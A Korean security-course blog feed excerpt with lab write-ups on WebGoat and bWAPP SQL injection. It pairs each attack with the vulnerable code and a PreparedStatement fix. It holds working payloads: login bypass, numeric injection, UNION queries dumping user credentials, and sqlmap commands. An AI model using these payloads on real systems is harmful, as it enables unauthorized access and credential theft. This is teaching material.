        sys.exit(1)


if __name__ == &quot;__main__&quot;:
    if len(sys.argv) != 2:
        print(&quot;Usages: python help.py &lt;file_path&gt;&quot;)
        sys.exit(1)

    file_path = sys.argv[1]
    file_contents = return_file_contents(file_path)
    print(file_contents)</code></pre>
<br>

<ul>
<li><strong>파일 오픈 방법으로 변경</strong></li>
</ul>
<pre><code class="language-py">import subprocess
import sys 

# return &lt;file_path&gt;&#39;s contents using cat command 
def return_file_contents(file_path):
    with open(file_path, &#39;r&#39;) as f:
        return f.read()

if __name__ == &quot;__main__&quot;:
    if len(sys.argv) != 2:
        print(&quot;Usages: python help.py &lt;file_path&gt;&quot;)
        sys.exit(1)

    file_path = sys.argv[1]
    file_contents = return_file_contents(file_path)
    print(file_contents)</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - WebGoat, Bee box, SQL Injection]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-SQL-Injection</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-WebGoat-Bee-box-SQL-Injection</guid>
            <pubDate>Wed, 27 Mar 2024 14:51:02 GMT</pubDate>
            <description><![CDATA[<h1 id="1-string-sql-injetcion"><strong>1. String SQL Injetcion</strong></h1>
<blockquote>
<p><strong>Injection Flaws &gt; LAB: SQL Injection &gt; Stage 1 : String SQL Injection</strong></p>
</blockquote>
<ul>
<li>목표는 Neville 사용자로 로그인하는 것 </li>
</ul>
<br>

<h2 id="1-로그인-버튼을-클릭했을-때-서버로-전달되는-내용-분석get-방식"><strong>1) 로그인 버튼을 클릭했을 때 서버로 전달되는 내용 분석(GET 방식)</strong></h2>
<blockquote>
<p>attack?Screen=18&amp;menu=1100&amp;employee_id=112&amp;password=입력한패스워드&amp;action=Login</p>
</blockquote>
<br>

<pre><code class="language-html">&lt;form id=&quot;form1&quot; name=&quot;form1&quot; method=&quot;post&quot; action=&quot;attack?Screen=18&amp;amp;menu=1100&quot;&gt;
    &lt;label&gt;
        &lt;select name=&quot;employee_id&quot;&gt;
            &lt;option value=&quot;101&quot;&gt;Larry Stooge (employee)&lt;/option&gt;
            &lt;option value=&quot;102&quot;&gt;Moe Stooge (manager)&lt;/option&gt;
            &lt;option value=&quot;103&quot;&gt;Curly Stooge (employee)&lt;/option&gt;
            &lt;option value=&quot;104&quot;&gt;Eric Walker (employee)&lt;/option&gt;
            &lt;option value=&quot;105&quot;&gt;Tom Cat (employee)&lt;/option&gt;
            &lt;option value=&quot;106&quot;&gt;Jerry Mouse (hr)&lt;/option&gt;
            &lt;option value=&quot;107&quot;&gt;David Giambi (manager)&lt;/option&gt;
            &lt;option value=&quot;108&quot;&gt;Bruce McGuirre (employee)&lt;/option&gt;
            &lt;option value=&quot;109&quot;&gt;Sean Livingston (employee)&lt;/option&gt;
            &lt;option value=&quot;110&quot;&gt;Joanne McDougal (hr)&lt;/option&gt;
            &lt;option value=&quot;111&quot;&gt;John Wayne (admin)&lt;/option&gt;
            &lt;option value=&quot;112&quot;&gt;Neville Bartholomew (admin)&lt;/option&gt;
        &lt;/select&gt;
    &lt;/label&gt;
    &lt;br&gt;
    &lt;label&gt;
        Password
        &lt;input name=&quot;password&quot; type=&quot;password&quot; size=&quot;10&quot; maxlength=&quot;8&quot;&gt;
    &lt;/label&gt;
    &lt;br&gt;
    &lt;input type=&quot;submit&quot; name=&quot;action&quot; value=&quot;Login&quot;&gt;
&lt;/form&gt;</code></pre>
<br>

<h2 id="2-요청-파라미터를-이용한-쿼리문-유추"><strong>2) 요청 파라미터를 이용한 쿼리문 유추</strong></h2>
<blockquote>
<p>SELECT * FROM users WHERE id = 112 and pw = &#39;입력한 패스워드&#39;</p>
</blockquote>
<ul>
<li>일치하는 결과가 존재하면 로그인 성공</li>
</ul>
<br>

<h2 id="3-유추한-쿼리의-일치하는-결과가-항상-존재하도록-수정"><strong>3) 유추한 쿼리의 일치하는 결과가 항상 존재하도록 수정</strong></h2>
<blockquote>
<p>SELECT * FROM users WHERE id = 112 and pw = a&#39; or &#39;a&#39; = &#39;a</p>
</blockquote>
<ul>
<li>a는 의미 없는 값</li>
<li>or &#39;a&#39; = &#39;a는 항상 참이 되는 값</li>
</ul>
<br>

<h2 id="4-maxlength--8"><strong>4) maxlength = 8</strong></h2>
<p>코드에서 보면 Password는 최대 길이가 8로 제한되어 공격이 이루어지지 않는다 .</p>
<p>maxlength = 8을 우회하는 방법을 생각해야 한다.</p>
<br>

<h3 id="1-개발자-도구를-이용해-길이-제한을-해제"><strong>(1) 개발자 도구를 이용해 길이 제한을 해제</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e4eee3aa-d5ae-4bd8-977e-f58ac97ec2ed/image.png" alt=""></p>
<br>

<h3 id="2-프록시-도구를-이용해-요청-데이터를-변조해서-전달"><strong>(2) 프록시 도구를 이용해 요청 데이터를 변조해서 전달</strong></h3>
<ul>
<li>인터셉터 설정</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a16c5061-907c-4632-ba71-3de57f2d7c61/image.png" alt=""></p>
<br>

<ul>
<li>로그인 요청</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f389579d-b470-493d-bf21-8ddf466d83d5/image.png" alt=""></p>
<br>

<ul>
<li>인터셉터 된 내용에서 요청 파라미터를 공격 문자열을 포함하도록 변조 후 전달</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ac84d423-9fed-4cd0-8c51-cb76564a8a08/image.png" alt=""></p>
<br>

<ul>
<li>로그인 성공</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0a91902b-542b-4b2d-a436-6504b39a1368/image.png" alt=""></p>
<br>

<h2 id="5-문제점"><strong>5) 문제점</strong></h2>
<h3 id="1-사이트의-문제점"><strong>(1) 사이트의 문제점</strong></h3>
<ul>
<li>입력값 검증 부재</li>
</ul>
<p>로그인 화면에서 입력값의 길이를 제한했으면, 서버에서도 입력값의 길이를 검증해야 하지만, 하지 않음</p>
<ul>
<li>SQL Injection</li>
</ul>
<p>입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문 생성 및 실행에 사용</p>
<br>

<h3 id="2-취약한-소스코드-확인"><strong>(2) 취약한 소스코드 확인</strong> </h3>
<blockquote>
<p><strong>Ctrl + Shift + R &gt; Login.java 실행</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c66df48a-c2d1-4e71-8de1-6fb5ae84150e/image.png" alt=""></p>
<p><strong>Ctrl + Shift + F</strong>를 눌러 자동으로 코드 내용을 문법 템플릿에 맞게 포매팅(들여쓰기)한다.</p>
<p>108번 줄 public boolean login 함수 안에 있는 문구 중 113번 줄, 116~118번 줄을 본다.</p>
<br>

<ul>
<li><strong>113번 줄</strong></li>
</ul>
<pre><code class="language-java">String query = &quot;SELECT * FROM employee WHERE userid = &quot; + userId + &quot; 
and password = &#39;&quot; + password + &quot;&#39;&quot;;</code></pre>
<ul>
<li>외부 입력값을 쿼리 조각 문자열 포함 여부를 확인하지 않고 문자열 결합 방식으로 쿼리문 생성에 사용</li>
</ul>
<br>

<ul>
<li><strong>116번 줄</strong></li>
</ul>
<pre><code class="language-java">Statement answer_statement = WebSession.getConnection(s).createStatement(
    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);</code></pre>
<ul>
<li>Statement 객체를 이용해서 쿼리를 실행</li>
</ul>
<br>

<h3 id="3-소스-코드-문제점"><strong>(3) 소스 코드 문제점</strong></h3>
<ul>
<li>SQL Injection</li>
</ul>
<p>해당 소스 코드는 Statement 객체를 이용해서 쿼리를 실행하고 있는데, 외부 입력값을 쿼리 조작 문자열 포함 여부를 확인하지 않고 문자열 결합 방식으로 쿼리문 생성에 사용하므로, 외부 입력값에 의해서 쿼리의 구조와 내용이 변형되어 실행될 수 있다.</p>
<br>

<h2 id="6-안전한-소스코드로-수정"><strong>6) 안전한 소스코드로 수정</strong></h2>
<h3 id="1-113번-줄"><strong>(1) 113번 줄</strong></h3>
<ul>
<li>쿼리의 구조를 정의</li>
</ul>
<pre><code class="language-java">String query = &quot;SELECT * FROM employee WHERE userid = ? and password = ? &quot;;</code></pre>
<br>

<h3 id="2-116번-줄"><strong>(2) 116번 줄</strong></h3>
<ul>
<li>PreparedStatement 객체 생성</li>
</ul>
<pre><code class="language-java">PreparedStatement answer_statement = WebSession.getConnection(s) 
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, 
ResultSet.CONCUR_READ_ONLY);</code></pre>
<br>

<pre><code class="language-java">answer_statement.setInt(1, Integer.parseInt(userId));
answer_statement.setString(2, password);
ResultSet answer_results = answer_statement.executeQuery();</code></pre>
<ul>
<li>변수에 값 전달 후 쿼리 실행</li>
</ul>
<br>

<h1 id="2-numeric-sql-injection"><strong>2. Numeric SQL Injection</strong></h1>
<blockquote>
<p><strong>LAB: SQL Injection &gt; Stage 3: Numeric SQL Injection</strong></p>
</blockquote>
<ul>
<li>목표는 Larry 사용자로 로그인해서 Neville 사용자의 프로필을 보는 것</li>
<li>Larry의 패스워드는 larry, Neville의 사번은 112</li>
<li>Larry는 employee 권한을 가지고 있으므로, 본인 프로파일만 열람 가능</li>
</ul>
<br>

<h2 id="1-개발자-도구-또는-proxy-도구-이용-employee_id-값-변경"><strong>1) 개발자 도구 또는 Proxy 도구 이용 employee_id 값 변경</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/29c54343-42a7-47ed-acf0-6bff33aabcd4/image.png" alt=""></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/e117ed58-ca02-46a6-9677-de8e1b0a725f/image.png" alt=""></p>
<ul>
<li>오류 발생</li>
</ul>
<p>데이터 레이어에서의 접근 통제가 구현되어 있어 다른 사용자의 아이디로 요청하면 오류 발생</p>
<br>

<h2 id="2-취약한-소스코드-확인-1"><strong>2) 취약한 소스코드 확인</strong></h2>
<blockquote>
<p><strong>Ctrl + Shift + R &gt; ViewProfile.java 실행</strong><br><strong>Ctrl + Shift + F 자동 포매팅</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7aa6fb46-a79c-49ea-858a-a1442cc72ce7/image.png" alt=""></p>
<p>87번 줄 public Employee getEmployeeProfile 함수 안에 있는 문구 중 92번 줄, 97번 줄을 본다.</p>
<br>

<h3 id="1-92번-줄"><strong>(1) 92번 줄</strong></h3>
<pre><code class="language-java">String query = &quot;SELECT employee.* &quot; + &quot;FROM employee, ownership
    WHERE employee.userid = ownership.employee_id and &quot; +
    &quot;ownership.employer_id = &quot; + userId + &quot; 
    and ownership.employee_id = &quot; + subjectUserId;</code></pre>
<ul>
<li>정확한 테이블 확인</li>
<li>employee : 직원 테이블</li>
<li>ownership : 권한 테이블 (어떤 직원이 어떤 직원을 조회할 수 있는지 정보를 가지고 있는 테이블)</li>
<li>userId : 조회를 요청하는 직원 ID, Larry<ul>
<li>로그인한 사용자의 정보를 담고 있는 세션으로부터 추출</li>
<li>서버의 세션 정보를 이용하므로 변조할 수 없음</li>
</ul>
</li>
<li>subjectUserId : 조회 대상 직원 ID, Neville<ul>
<li>사용자 화면에서 요청 파라미터로 전달된 값 </li>
<li>전달되는 과정에서 변조 가능</li>
<li>모든 데이터를 조회하고, 공격자가 조회하려고 하는 데이터가 처음에 위치하도록 쿼리를 작성</li>
<li>로그인 화면에서 Neville 사용자의 사번이 가장 큰 것을 이용</li>
<li>101 or 1 = 1 order by employee_id desc</li>
</ul>
</li>
</ul>
<br>

<h3 id="2-97번-줄"><strong>(2) 97번 줄</strong></h3>
<pre><code class="language-java">Statement answer_statement = WebSession.getConnection(s) .createStatement(
    ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())</code></pre>
<ul>
<li>조회 결과 데이터의 맨 처음 데이터를 읽어서 출력</li>
</ul>
<br>

<h2 id="3-개발자-도구-이용-공격-문자열-전달"><strong>3) 개발자 도구 이용 공격 문자열 전달</strong></h2>
<blockquote>
<p><strong>101 or 1 = 1 order by employee_id desc</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b474391d-e554-4289-a4d2-567a5639d306/image.png" alt=""></p>
<br>

<h2 id="4-결과-확인"><strong>4) 결과 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/4320c045-22f9-49aa-acb2-551add353552/image.png" alt=""></p>
<br>

<h2 id="5-안전한-소스코드로-수정"><strong>5) 안전한 소스코드로 수정</strong></h2>
<h3 id="1-92번-줄-1"><strong>(1) 92번 줄</strong></h3>
<ul>
<li>쿼리 구조 정의</li>
</ul>
<pre><code class="language-java">String query = &quot;SELECT employee.* &quot; + &quot;FROM employee,ownership
    WHERE employee.userid = ownership.employee_id and &quot; +
    &quot;ownership.employer_id = ? and ownership.employee_id = ? &quot;;</code></pre>
<br>

<h3 id="2-97번-줄-1"><strong>(2) 97번 줄</strong></h3>
<ul>
<li>PreparedStatement 객체 생성</li>
</ul>
<pre><code class="language-java">PreparedStatement answer_statement = WebSession.getConnection(s) 
    .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, 
    ResultSet.CONCUR_READ_ONLY);</code></pre>
<br>

<ul>
<li>변수에 값을 맵핑하고 쿼리 실행</li>
</ul>
<pre><code class="language-java">answer_statement.setInt(1, Integer.parseInt(userId));
answer_statement.setInt(2, Integer.parseInt(subjectUserId));
ResultSet answer_results = answer_statement.executeQuery();</code></pre>
<p>executeQuery()에 있는 query는 위에서 객체를 생성할 때 이미 넘겨 주었기 때문에 빼줘야 한다.</p>
<h2 id="3-union-based-sql-injection"><strong>3. UNION Based SQL Injection</strong></h2>
<blockquote>
<p><strong>Kali에서 bee.box/bWAPP 접속 후 SQL Injection (GET/Search)</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/555533a2-8e18-43b4-a3fb-a29ffa7ec324/image.png" alt=""></p>
<ul>
<li>목표는 서비스에 등록된 모든 사용자의 계정 정보 탈취</li>
</ul>
<br>

<h2 id="1-서버-전달-내용-유추"><strong>1) 서버 전달 내용 유추</strong></h2>
<ul>
<li>man 입력</li>
<li>http:/<h></h>/bwapp/sqli_1.php?title=man&amp;action=search</li>
</ul>
<pre><code class="language-html">&lt;form action=&quot;/bWAPP/sqli_1.php&quot; method=&quot;GET&quot;&gt;
        &lt;p&gt;
            &lt;label for=&quot;title&quot;&gt;Search for a movie:&lt;/label&gt;
            &lt;input type=&quot;text&quot; id=&quot;title&quot; name=&quot;title&quot; size=&quot;25&quot;&gt;
            &lt;button type=&quot;submit&quot; name=&quot;action&quot; value=&quot;search&quot;&gt;Search&lt;/button&gt;
        &lt;/p&gt;    
&lt;/form&gt;</code></pre>
<br>

<h2 id="2-내부-쿼리문-유추"><strong>2) 내부 쿼리문 유추</strong></h2>
<pre><code class="language-sql">SELECT * FROM movies WHERE title like &#39;%man%&#39;</code></pre>
<ul>
<li>조건과 일치하는 데이터를 조회해서 출력</li>
</ul>
<br>

<h2 id="3-오류-유발"><strong>3) 오류 유발</strong></h2>
<ul>
<li>사용자 화면에서 입력한 값이 서버로 전달되어 내부 처리 과정에서 입력값을 검증 및 제한 하는지 확인</li>
<li>오류를 일부러 유발</li>
</ul>
<br>

<pre><code class="language-sql">SELECT * FROM moives WHERE title like &#39;%man&#39;%&#39;</code></pre>
<p>&#39;를 입력함으로써 앞부분까지는 제목이 man으로 끝나는 데이터를 조회하지만, 뒤 %&#39;가 알 수 없는 내용으로 구문 오류 발생</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8c65dbbb-066a-4ad5-bded-e0761d0c12c6/image.png" alt=""></p>
<ul>
<li>구문 오류로 나온 오류 메시지를 통해 정보 획득</li>
<li>해당 서비스의 데이터베이스는 MySQL</li>
<li>입력값을 검증, 제한 하지 않고 그대로 쿼리문 생성 및 실행에 사용</li>
<li>인젝션 가능</li>
</ul>
<br>

<h2 id="4-쿼리문-변조"><strong>4) 쿼리문 변조</strong></h2>
<pre><code class="language-sql">SELECT * FROM movies WHERE title like &#39;%man&#39; UNION 공격자가 원하는 데이터 조회 쿼리 -- %&#39;</code></pre>
<p>앞부터 man&#39;까지는 서비스 쿼리의 실행 결과다. 목표는 공격자가 원하는 데이터 조회 쿼리는 만드는 것이다.</p>
<p>--는 인라인 주석으로 위에서 %&#39; 때문에 구문 오류가 발생한 것을 --를 사용함으로 %&#39; 주석처리 해 공격자가 사용한 쿼리에서 문장이 끝나도록 만들었다.</p>
<br>

<h3 id="1-union"><strong>(1) UNION</strong></h3>
<ul>
<li>쿼리의 결과를 하나로 합쳐주는 역할</li>
<li>두 쿼리의 실행 결과가 동일한 컬럼 개수를 가져야 함</li>
<li>두 쿼리의 실행 결과의 각 컬럼의 데이터 타입이 호환할 수 있어야 함</li>
<li>쿼리의 실행 결과로 반환되는 컬럼의 개수와 데이터 타입을 확인해야 사용 가능</li>
</ul>
<br>

<h3 id="2-컬럼-개수-확인"><strong>(2) 컬럼 개수 확인</strong></h3>
<pre><code class="language-sql">SELECT * FROM movies WHERE title like &#39;%man&#39; or &#39;a&#39; = &#39;a&#39; order by 1 -- %&#39;
SELECT * FROM movies WHERE title like &#39;%man&#39; or &#39;a&#39; = &#39;a&#39; order by 2 -- %&#39;
SELECT * FROM movies WHERE title like &#39;%man&#39; or &#39;a&#39; = &#39;a&#39; order by 3 -- %&#39;</code></pre>
<p>모든 데이터를 조회하고, 조회 결과를 첫 번째 컬럼의 값을 기준으로 정렬하는 쿼리문이다.</p>
<p>컬럼의 기준값을 바꿔가면서 컬럼의 개수가 몇 개인지 확인한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/601c2588-13b7-4a42-b136-75f2392d9822/image.png" alt=""></p>
<p>8까지 입력하면 에러가 발생하는 것을 볼 수 있다. 그러므로 컬럼의 개수는 7개이다.</p>
<br>

<h3 id="3-컬럼의-데이터-타입과-관계없이-결합-가능하도록-쿼리-수정"><strong>(3) 컬럼의 데이터 타입과 관계없이 결합 가능하도록 쿼리 수정</strong></h3>
<pre><code class="language-sql">select * from movies where title like &#39;%man&#39; and &#39;a&#39; = &#39;b&#39; -- %&#39;</code></pre>
<ul>
<li>항상 거짓이 되는 조건 추가</li>
<li>조회 결과 없음</li>
<li>아무 데이터 타입과 결합 가능</li>
</ul>
<br>

<h3 id="4-컬럼이-어느-위치에-출력되는지-확인"><strong>(4) 컬럼이 어느 위치에 출력되는지 확인</strong></h3>
<pre><code class="language-sql">select * from movies where title like &#39;%man&#39; and &#39;a&#39; = &#39;b&#39;
UNION select 1, 2, 3, 4, 5, 6, 7 -- %&#39;</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a28059b2-e475-4336-824e-51a0c42fff2f/image.png" alt=""></p>
<p>서비스 쿼리가 반환하는 7개 컬럼 중 4개의 컬럼만 화면 출력에 사용하고 있다.</p>
<br>

<h3 id="5-버전-정보-출력"><strong>(5) 버전 정보 출력</strong></h3>
<pre><code class="language-sql">select * from movies where title like &#39;%man&#39; and &#39;a&#39; = &#39;b&#39; 
UNION select 1, @@version, 3, 4, 5, 6, 7 -- %&#39;</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/a85c8f23-ad07-44d2-af5a-7c0496d71bce/image.png" alt=""></p>
<p>버전 정보를 입력함으로 쿼리문이 잘 작동하는지 확인한다.</p>
<br>

<h3 id="6-시스템-테이블을-이용해-원하는-정보-조회"><strong>(6) 시스템 테이블을 이용해 원하는 정보 조회</strong></h3>
<ul>
<li><strong><a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html">시스템 스키마 테이블</a></strong></li>
<li><strong><a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html">시스템 테이블 테이블</a></strong></li>
<li><strong><a href="https://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-table.html">시스템 컬럼 테이블</a></strong></li>
</ul>
<pre><code class="language-sql">select * from movies where title like &#39;%man&#39; and &#39;a&#39; = &#39;b&#39; UNION select 1, 
    table_name, table_type, 4, 5, 6, 7 from information_schema.tables -- %&#39;</code></pre>
<p>시스템 테이블을 이용해 테이블 이름과 타입을 확인한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/bb6744f2-bc39-4681-9f01-5a67da6181a4/image.png" alt=""></p>
<br>

<h3 id="7-사용자-정보가-있을-것-같은-테이블의-컬럼-정보-조회"><strong>(7) 사용자 정보가 있을 것 같은 테이블의 컬럼 정보 조회</strong></h3>
<pre><code class="language-sql">select * from movies where title like &#39;%man&#39; and &#39;a&#39; = &#39;b&#39; 
UNION select 1, table_name, column_name, 4, 5, 6, 7 
from information_schema.columns where table_name = &#39;users&#39; -- %&#39;</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/239c4a86-b26a-4398-b19b-f2c457a89743/image.png" alt=""></p>
<br>

<h3 id="8-users-테이블의-id-login-password-email-secret-컬럼의-정보-조회"><strong>(8) users 테이블의 id, login, password, email, secret 컬럼의 정보 조회</strong></h3>
<pre><code class="language-sql">select * from movies where title like &#39;%man&#39; and &#39;a&#39; = &#39;b&#39; 
UNION select 1, concat(id, &#39; : &#39;, login), password, email, secret, 6, 7 from users -- %&#39;</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/64a1647d-b3a1-4341-a1ec-a82153a82882/image.png" alt=""></p>
<br>

<h3 id="9-패스워드-크래킹"><strong>(9) 패스워드 크래킹</strong></h3>
<blockquote>
<p><strong><a href="https://crackstation.net">패스워드 크래킹</a></strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/5e7d2e2e-c7f7-4f23-8750-249956b3e08d/image.png" alt=""></p>
<ul>
<li>안전하지 않은 해시 함수 사용하는 경우, 쉽게 원문을 추출할 수 있음</li>
</ul>
<br>

<h3 id="10-사용자-계정"><strong>(10) 사용자 계정</strong> </h3>
<ol>
<li>A.I.M / bug</li>
<li>bee / bug</li>
</ol>
<br>

<h3 id="5-취약한-소스코드-확인"><strong>5) 취약한 소스코드 확인</strong></h3>
<blockquote>
<p><strong>bee.box &gt; var &gt; www &gt; bWAPP &gt; sqli_1.php</strong></p>
</blockquote>
<pre><code class="language-php">&lt;?php

include(&quot;security.php&quot;);
include(&quot;security_level_check.php&quot;);
include(&quot;selections.php&quot;);
include(&quot;functions_external.php&quot;);      // ⇐ 보안 등급별로 실행될 함수를 정의하고 있는 파일
include(&quot;connect.php&quot;);

function sqli($data){

    switch($_COOKIE[&quot;security_level&quot;]) 
    // ⇐ 사용자 화면에서 설정한 보안 등급(쿠키에 저장되어 있음)에 따라 동작
    {
        case &quot;0&quot; : // ⇐ 낮은 보안 등급이 설정되면 취약한 함수가 호출
            $data = no_check($data); 
            // ⇐ 매개 변수로 전달한 값을 그대로 반환 = 입력값이 그대로 사용되는 구조

            break;

        case &quot;1&quot; :
            $data = sqli_check_1($data); 
            // ⇐ 높은 보안 등급은 매개 변수에서 문제가 되는 부분을 제거하는 기능을 구현

            break;

        case &quot;2&quot; :
            $data = sqli_check_2($data);

            break;

        default :
            $data = no_check($data);

            break;

    }

    return $data;

}

?&gt;

// ... 화면 구성 ...

&lt;div id=&quot;main&quot;&gt;

    &lt;h1&gt;SQL Injection (GET/Search)&lt;/h1&gt;
    &lt;form action=&quot;&lt;?php echo($_SERVER[&quot;SCRIPT_NAME&quot;]); ?&gt;&quot; method=&quot;GET&quot;&gt;
          // ⇐ 문제 부분 사용자가 입력한 값을 현재 페이지로 다시 호출하는 구조
        &lt;p&gt;             
        &lt;label for=&quot;title&quot;&gt;Search for a movie:&lt;/label&gt;
        &lt;input type=&quot;text&quot; id=&quot;title&quot; name=&quot;title&quot; size=&quot;25&quot;&gt;
        &lt;button type=&quot;submit&quot; name=&quot;action&quot; value=&quot;search&quot;&gt;Search&lt;/button&gt;
           // ⇐  버튼을 클릭하면 action 이름으로 search라는 값을 전달
        &lt;/p&gt;
    &lt;/form&gt;
    &lt;table id=&quot;table_yellow&quot;&gt;
        &lt;tr height=&quot;30&quot; bgcolor=&quot;#ffb717&quot; align=&quot;center&quot;&gt;
            &lt;td width=&quot;200&quot;&gt;&lt;b&gt;Title&lt;/b&gt;&lt;/td&gt;
            &lt;td width=&quot;80&quot;&gt;&lt;b&gt;Release&lt;/b&gt;&lt;/td&gt;
            &lt;td width=&quot;140&quot;&gt;&lt;b&gt;Character&lt;/b&gt;&lt;/td&gt;
            &lt;td width=&quot;80&quot;&gt;&lt;b&gt;Genre&lt;/b&gt;&lt;/td&gt;
            &lt;td width=&quot;80&quot;&gt;&lt;b&gt;IMDb&lt;/b&gt;&lt;/td&gt;
        &lt;/tr&gt;
&lt;?php

if(isset($_GET[&quot;title&quot;])) 
//  ⇐ 제목을 입력하고 search 버튼을 클릭해서 온 요청인지를 판단
{
    $title = $_GET[&quot;title&quot;];
    $sql = &quot;SELECT * FROM movies WHERE title LIKE &#39;%&quot; . sqli($title) . &quot;%&#39;&quot;;
                                                     // ~~~~~~~~~~~~~~~~              
    $recordset = mysql_query($sql, $link);          //  문자열 결합 방식으로 쿼리문을 생성  
                                                   //   보안 등급별 함수 호출 결과를 이용
    if(!$recordset)             // ⇐ 오류가 발생하는 경우 
    {
        // die(&quot;Error: &quot; . mysql_error());
?&gt;
        &lt;tr height=&quot;50&quot;&gt;
            &lt;td colspan=&quot;5&quot; width=&quot;580&quot;&gt;&lt;?php die(&quot;Error: &quot; . mysql_error()); ?&gt;&lt;/td&gt;
        &lt;/tr&gt;
&lt;?php
    }

    if(mysql_num_rows($recordset) != 0)           // ⇐ 조회 결과가 있는 경우 
    {
        while($row = mysql_fetch_array($recordset))         
        {
?&gt;
        &lt;tr height=&quot;30&quot;&gt;
            &lt;td&gt;&lt;?php echo $row[&quot;title&quot;]; ?&gt;&lt;/td&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;?php echo $row[&quot;release_year&quot;]; ?&gt;&lt;/td&gt;
            &lt;td&gt;&lt;?php echo $row[&quot;main_character&quot;]; ?&gt;&lt;/td&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;?php echo $row[&quot;genre&quot;]; ?&gt;&lt;/td&gt;
            &lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;http://www.imdb.com/title/&lt;?php echo $row[&quot;imdb&quot;]; ?&gt;
            &quot; target=&quot;_blank&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
        &lt;/tr&gt;
&lt;?php
        }
    }
    else // ⇐ 조회 결과가 없는 경우 
    {
?&gt;
        &lt;tr height=&quot;30&quot;&gt;
            &lt;td colspan=&quot;5&quot; width=&quot;580&quot;&gt;No movies were found!&lt;/td&gt;
        &lt;/tr&gt;
&lt;?php
    }
    mysql_close($link);         // ⇐ 데이터베이스 연결을 종료
}
else                   // ⇐ 메뉴를 통해서 호출되는 경우 → 조회 결과 없이 기능을 제공 
{
?&gt;
        &lt;tr height=&quot;30&quot;&gt;
            &lt;td colspan=&quot;5&quot; width=&quot;580&quot;&gt;&lt;/td&gt;
        &lt;/tr&gt;
&lt;?php
}
?&gt;
    &lt;/table&gt;
&lt;/div&gt;
// ... 공통 부분 ...</code></pre>
<br>

<h3 id="1-functions_externalphp-파일에-no_check-sqli_check_1-sqli_check_2-함수-확인">(1) <strong>functions_external.php 파일에 no_check(), sqli_check_1(), sqli_check_2() 함수 확인</strong></h3>
<pre><code class="language-php">function no_check($data){    
    return $data;             //  ⇐ 매개변수 값을 그대로 반환 
}                            //      → 쿼리 조작 문자열이 포함되어 있어도 그대로 사용되게 됨

function sqli_check_1($data){
    return addslashes($data);    
}

function sqli_check_2($data){
    return mysql_real_escape_string($data);
}</code></pre>
<ul>
<li><strong><a href="https://www.php.net/manual/en/function.addslashes.php">addslashes 함수</a></strong> </li>
<li><strong><a href="https://www.php.net/manual/en/function.mysql-real-escape-string.php">mysql_real_escape_string 함수</a></strong> </li>
</ul>
<br>

<h2 id="6-sqlmap-이용-공격"><strong>6) sqlmap 이용 공격</strong></h2>
<blockquote>
<p><strong>sudo apt install -y sqlmap</strong></p>
</blockquote>
<p>sqlmap을 설치하고 cookie 값을 확인한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ec6e8a33-22be-4a80-901f-1337e91b1044/image.png" alt=""></p>
<br>

<h3 id="1-데이터베이스-목록-조회"><strong>(1) 데이터베이스 목록 조회</strong></h3>
<pre><code class="language-bash">sqlmap -u http://bee.box/bWAPP/sqli_1.php?title=man --cookie=&quot;PHPSESSID=e14488ec3e84895e039f1f6d0f1f2d1f; security_level=0&quot; --dbs</code></pre>
<ul>
<li>login.php 페이지로 리다이렉트된다는 메시지가 나오는 경우 다시 로그인한 후 쿠키값을 재 설정해서 실행</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/6f848fa0-7651-4239-b0ef-190efdb2f31b/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/c2758154-e74c-41ef-9d8d-9f614cb615fc/image.png" alt=""></p>
<ul>
<li>테이블 확인</li>
<li>DBMS 확인</li>
<li>데이터베이스 목록 확인</li>
</ul>
<br>

